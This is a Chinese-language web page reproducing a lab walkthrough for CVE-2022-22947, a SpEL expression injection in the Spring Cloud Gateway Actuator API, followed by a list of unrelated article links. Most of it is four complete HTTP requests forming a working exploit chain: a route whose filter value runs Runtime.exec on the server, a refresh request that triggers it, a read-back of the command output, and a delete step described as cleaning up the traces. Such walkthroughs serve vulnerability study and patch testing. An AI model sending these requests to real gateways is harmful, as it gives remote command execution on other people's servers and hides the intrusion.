当前位置: 首页 > news >正文

新后端漏洞(上)- Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

漏洞介绍:

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

漏洞环境:

docker 环境

执行如下命令将启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

docker-compose up -d

1、利用这个漏洞需要分多步。首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8083
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

2、然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

4、最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

http://www.xdnf.cn/news/1468171.html

相关文章:

  • LINUX_Ubunto学习《2》_shell指令学习、gitee
  • 车载诊断架构 --- Service 14一丢丢小汇总
  • 水上乐园票务管理系统设计与开发(代码+数据库+LW)
  • 2025国赛B题创新论文+代码可视化 碳化硅外延层厚度的确定
  • AI“嘴替”已上线?Google Translate实时翻译
  • 【正则表达式】 正则表达式的分组和引用
  • Docker学习笔记(三):镜像与容器管理进阶操作
  • 解决“找不到 pip”
  • IAR借助在瑞萨RH850/U2A MCU MCAL支持,加速汽车软件开发
  • 多模联邦查询网关:ABP + Trino/Presto 聚合跨源数据
  • 【更新完毕】2025数学建模国赛E题思路代码文章高教社杯全国大学生数学建模-AI 辅助智能体测
  • 解密大语言模型推理:输入处理背后的数学与工程实践
  • 【论文阅读】FedsNet: the real‑time network for pedestrian detection based on RT‑DETR
  • 职场突围:我的转岗反思录
  • 【基础组件】手撕 MYSQL 连接池(C++ 版本)
  • MySQL InnoDB索引机制
  • Redis 的相关文件作用
  • 连锁门店可用性监测和进程监测最佳实践
  • 企业培训笔记:宠物信息管理--实现宠物信息的删除
  • 【MFC】对话框节点属性:Condition(条件)
  • python + Flask模块学习 2 接收用户请求并返回json数据
  • 智能工单路由系统(Java)
  • 小补充: IPv6 安全RA
  • 苹果 AI 探秘:代号 “AFM” —— “温柔的反叛者”
  • 案例精选 | 南京交通职业技术学院安全运营服务建设标杆
  • 【前端教程】JavaScript 实现爱好选择与全选/全不选功能
  • 硬件基础:串口通信
  • P1106 删数问题
  • 鼓励员工提出建议,激发参与感——制造企业软件应用升级的密钥
  • 02-Media-5-mp4demuxer.py 从MP4文件中提取视频和音频流的示例